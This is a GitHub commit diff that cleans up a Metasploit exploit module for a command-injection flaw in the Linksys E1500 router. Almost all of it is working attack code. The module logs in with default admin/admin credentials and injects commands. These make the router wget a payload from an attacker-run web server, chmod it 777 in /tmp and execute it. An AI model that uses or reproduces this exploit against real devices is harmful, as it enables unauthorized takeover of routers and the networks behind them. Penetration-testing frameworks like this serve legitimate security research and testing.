Skip to content

Commit 607b1c5

Browse files
author
jvazquez-r7
committed
little cleanup for e1500_up_exec
1 parent 1b563ad commit 607b1c5

File tree

1 file changed

+73
-65
lines changed

1 file changed

+73
-65
lines changed

modules/exploits/linux/http/linksys_e1500_up_exec.rb

Lines changed: 73 additions & 65 deletions
Original file line numberDiff line numberDiff line change
@@ -32,37 +32,32 @@ def initialize(info = {})
3232
],
3333
'DisclosureDate' => 'Feb 05 2013',
3434
'Privileged' => true,
35-
'Platform' => [ 'unix', 'linux', ],
36-
'Arch' => [ ARCH_MIPSLE, ARCH_CMD],
35+
'Platform' => ['linux','unix'],
36+
#'Arch' => ARCH_MIPSLE,
37+
'Payload' =>
38+
{
39+
'DisableNops' => true
40+
},
3741
'Targets' =>
3842
[
3943
[ 'CMD',
4044
{
4145
'Arch' => ARCH_CMD,
42-
'Platform' => 'unix',
46+
'Platform' => 'unix'
4347
}
4448
],
4549
[ 'Linux Mipsel Payload',
4650
{
4751
'Arch' => ARCH_MIPSLE,
48-
'Platform' => 'linux',
52+
'Platform' => 'linux'
4953
}
5054
],
5155
],
52-
#'Payload' =>
53-
# {
54-
# 'Compat' =>
55-
# {
56-
# 'PayloadType' => 'cmd mipsle',
57-
# 'RequiredCmd' => 'generic shell_bind_tcp shell_reverse_tcp'
58-
# },
59-
#},
6056
'DefaultTarget' => 1,
6157
))
6258

6359
register_options(
6460
[
65-
Opt::RPORT(80),
6661
OptString.new('USERNAME', [ true, 'The username to authenticate as', 'admin' ]),
6762
OptString.new('PASSWORD', [ true, 'The password for the specified username', 'admin' ]),
6863
OptString.new('DOWNHOST', [ false, 'The host to request the MIPS payload from' ]),
@@ -91,13 +86,11 @@ def request(cmd,user,pass,uri)
9186
}
9287
})
9388

94-
if (! res)
95-
fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to deploy payload [No Response]")
96-
end
89+
return res
9790

9891
rescue ::Rex::ConnectionError
9992
vprint_error("#{rhost}:#{rport} - Failed to connect to the web server")
100-
return
93+
return nil
10194
end
10295
end
10396

@@ -138,71 +131,86 @@ def exploit
138131
end
139132

140133
if target.name =~ /CMD/
141-
134+
if not (datastore['CMD'])
135+
fail_with(Exploit::Failure::BadConfig, "#{rhost}:#{rport} - Only the cmd/generic payload is compatible")
136+
end
142137
cmd = payload.encoded
143-
request(cmd,user,pass,uri)
138+
res = request(cmd,user,pass,uri)
139+
if (!res)
140+
fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to execute payload")
141+
end
142+
return
143+
end
144144

145-
else
146-
#thx to Juan for his awesome work on the mipsel payloads
147-
@pl = generate_payload_exe
148145

149-
#
150-
# start our server
151-
#
152-
resource_uri = '/' + downfile
146+
#thx to Juan for his awesome work on the mipsel payloads
147+
@pl = generate_payload_exe
153148

154-
if (datastore['DOWNHOST'])
155-
service_url = 'http://' + datastore['DOWNHOST'] + ':' + datastore['SRVPORT'].to_s + resource_uri
156-
else
157-
#do not use SSL ;)
158-
if datastore['SSL']
159-
ssl_restore = true
160-
datastore['SSL'] = false
161-
end
162-
163-
service_url = 'http://' + datastore['SRVHOST'] + ':' + datastore['SRVPORT'].to_s + resource_uri
164-
print_status("#{rhost}:#{rport} - Starting up our web service on #{service_url} ...")
165-
start_service({'Uri' => {
166-
'Proc' => Proc.new { |cli, req|
167-
on_request_uri(cli, req)
168-
},
169-
'Path' => resource_uri
170-
}})
171-
172-
datastore['SSL'] = true if ssl_restore
149+
#
150+
# start our server
151+
#
152+
resource_uri = '/' + downfile
153+
154+
if (datastore['DOWNHOST'])
155+
service_url = 'http://' + datastore['DOWNHOST'] + ':' + datastore['SRVPORT'].to_s + resource_uri
156+
else
157+
#do not use SSL ;)
158+
if datastore['SSL']
159+
ssl_restore = true
160+
datastore['SSL'] = false
173161
end
174162

175-
print_status("#{rhost}:#{rport} - Asking the Linksys device to download #{service_url}")
163+
service_url = 'http://' + datastore['SRVHOST'] + ':' + datastore['SRVPORT'].to_s + resource_uri
164+
print_status("#{rhost}:#{rport} - Starting up our web service on #{service_url} ...")
165+
start_service({'Uri' => {
166+
'Proc' => Proc.new { |cli, req|
167+
on_request_uri(cli, req)
168+
},
169+
'Path' => resource_uri
170+
}})
171+
172+
datastore['SSL'] = true if ssl_restore
173+
end
176174

177-
#this filename is used to store the payload on the device
178-
filename = rand_text_alpha_lower(8)
179-
register_file_for_cleanup("/tmp/#{filename}")
175+
print_status("#{rhost}:#{rport} - Asking the Linksys device to download #{service_url}")
180176

181-
#not working if we send all command together -> lets take three requests
182-
cmd = "/usr/bin/wget #{service_url} -O /tmp/#{filename}"
177+
#this filename is used to store the payload on the device
178+
filename = rand_text_alpha_lower(8)
183179

184-
request(cmd,user,pass,uri)
180+
#not working if we send all command together -> lets take three requests
181+
cmd = "/usr/bin/wget #{service_url} -O /tmp/#{filename}"
185182

186-
#
187-
# chmod
188-
#
183+
res = request(cmd,user,pass,uri)
184+
if (!res)
185+
fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to deploy payload")
186+
end
187+
register_file_for_cleanup("/tmp/#{filename}")
189188

190-
cmd = "chmod 777 /tmp/#{filename}"
189+
#
190+
# chmod
191+
#
191192

192-
print_status("#{rhost}:#{rport} - Asking the Linksys device to prepare #{downfile}")
193+
cmd = "chmod 777 /tmp/#{filename}"
193194

194-
request(cmd,user,pass,uri)
195+
print_status("#{rhost}:#{rport} - Asking the Linksys device to prepare #{downfile}")
195196

196-
#
197-
# execute
198-
#
197+
res = request(cmd,user,pass,uri)
198+
if (!res)
199+
fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to deploy payload")
200+
end
201+
202+
203+
#
204+
# execute
205+
#
199206

200-
cmd = "/tmp/#{filename}"
207+
cmd = "/tmp/#{filename}"
201208

202-
print_status("#{rhost}:#{rport} - Asking the Linksys device to execute #{downfile}")
209+
print_status("#{rhost}:#{rport} - Asking the Linksys device to execute #{downfile}")
203210

204-
request(cmd,user,pass,uri)
205-
stop_service
211+
res = request(cmd,user,pass,uri)
212+
if (!res)
213+
fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to deploy payload")
206214
end
207215

208216
end

0 commit comments

Comments
 (0)